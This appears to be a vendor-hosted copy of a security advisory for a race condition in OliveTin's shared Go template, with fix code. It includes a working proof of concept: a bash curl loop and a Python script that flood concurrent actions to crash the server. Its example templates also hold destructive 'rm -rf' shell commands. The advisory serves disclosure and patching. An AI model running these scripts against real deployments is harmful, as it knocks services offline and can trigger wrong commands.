GHSA-7fq5-7wr8-rjwj is a high-severity (CVSS 7.5) CWE-362 vulnerability in github.com/OliveTin/OliveTin. A fix is available for github.com/OliveTin/OliveTin — see the affected versions and patch details below.
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7fq5-7wr8-rjwj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7fq5-7wr8-rjwj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:
- Cross-user command contamination: User A's arguments rendered in User B's shell command template
- Go runtime panic: Concurrent map writes in Go's
text/templateinternal structures cause a fatal crash - Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands
CWE
- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
Affected Versions
- All versions (the shared template has existed since the template system was introduced)
Details
The Shared Template Instance
In service/internal/tpl/templates.go:
var tpl = template.New("tpl").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc})
This is a package-level variable — a single *template.Template shared across the entire process.
Unsafe Parse + Execute Pattern
The parseTemplate function is called for every template rendering:
func parseTemplate(source string, data any) (string, error) {
t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data) // Reads from tpl's internal Tree
// ...
}
Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:
Goroutine A (Action "echo {{ .Arguments.name }}"):
1. tpl.Parse("echo {{ .Arguments.name }}") → sets tpl.Tree = TreeA
2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA
Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
1. tpl.Parse("rm -rf {{ .Arguments.path }}") → sets tpl.Tree = TreeB
2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB
If the goroutines interleave:
A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!
Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.
No Synchronization Exists
A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:
$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)
Concurrent Goroutine Confirmation
In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:
func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
// ...
go func() {
e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
defer wg.Done()
}()
return wg, req.TrackingID
}
The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.
Go Runtime Crash Vector
Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:
fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)
This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.
Template Contamination Vector
Even without a crash, the race can produce dangerous results:
- User A triggers action:
shell: "echo Hello {{ .Arguments.name }}"withname=Alice - User B triggers action:
shell: "sudo systemctl restart {{ .Arguments.service }}"withservice=nginx - Race occurs: User A's
Executeruns on User B's parsed template - If User A's arguments contain a
servicekey, that value is substituted intosudo systemctl restart {{ .Arguments.service }} - If User A's arguments do NOT contain
service,missingkey=errorcauses an error — but only AFTER the template was already partially evaluated
Call Chain
API Request → ExecRequest (goroutine) → execChain → stepParseArgs
→ ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
↑ RACE CONDITION ↑
(shared tpl variable)
PoC
Prerequisites
- OliveTin instance with at least 2 configured actions
- Ability to trigger concurrent action executions
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Safe Echo
id: safe-echo
shell: "echo 'Hello {{ .Arguments.name }}'"
arguments:
- name: name
type: ascii
- title: File Delete
id: file-delete
shell: "rm -f /tmp/{{ .Arguments.target }}"
arguments:
- name: target
type: ascii_identifier
Step 1: Trigger concurrent executions
#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"
Step 2: Check for crash
# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)
Step 3: Check logs for contamination
# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log
Python PoC — Race Trigger
#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination
Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.
Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""
import requests
import threading
import time
TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100
crash_detected = threading.Event()
errors_detected = []
def fire_action_a():
"""Trigger 'safe-echo' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "safe-echo",
"arguments": [{"name": "name", "value": "Alice"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action A exception: {e}")
def fire_action_b():
"""Trigger 'file-delete' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "file-delete",
"arguments": [{"name": "target", "value": "test"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action B exception: {e}")
if __name__ == "__main__":
print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
print(f"[*] Target: {TARGET}")
threads = []
for _ in range(THREADS):
threads.append(threading.Thread(target=fire_action_a))
threads.append(threading.Thread(target=fire_action_b))
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
elapsed = time.time() - start
print(f"\n[*] Completed in {elapsed:.1f}s")
print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")
if crash_detected.is_set():
print("[!] SERVER CRASH DETECTED — concurrent map write panic")
if errors_detected:
print(f"[!] {len(errors_detected)} errors detected:")
for err in errors_detected[:10]:
print(f" - {err}")
else:
print("[*] No errors detected (race window may not have been hit)")
print("[*] Try increasing THREADS/ITERATIONS or checking server logs")
Go Race Detector Verification
If you can run OliveTin with Go's race detector enabled:
cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race
Expected output:
WARNING: DATA RACE
Write by goroutine X:
text/template.(*Template).Parse()
service/internal/tpl/templates.go:XX
Previous read by goroutine Y:
text/template.(*Template).Execute()
service/internal/tpl/templates.go:XX
Impact
- Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable
fatal error, crashing the entire OliveTin service - Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
- Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
- Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output
Remediation
-
Create a new template per parse call instead of reusing the package-level singleton:
func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... } -
Alternative: Use
template.Must(tpl.Clone())to create a thread-safe copy per call:func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... } -
Alternative: Add a mutex around
parseTemplate(but this serializes all template rendering and hurts performance):var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.
Resources
- Go
text/templatedocumentation: "A Template's Parse method must not be called concurrently" - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
service/internal/tpl/templates.go— sharedtplvariable andparseTemplatefunctionservice/internal/executor/executor.go—ExecRequestgoroutine launch (line ~524)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260521225117-d74da9314005go get github.com/OliveTin/OliveTin@v0.0.0-20260521225117-d74da9314005 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260521225117-d74da9314005 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7fq5-7wr8-rjwj is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7fq5-7wr8-rjwj can be triaged on real exposure rather than presence alone.
Tailored to GHSA-7fq5-7wr8-rjwj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7fq5-7wr8-rjwj in your dependencies?
O3 Security finds GHSA-7fq5-7wr8-rjwj across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.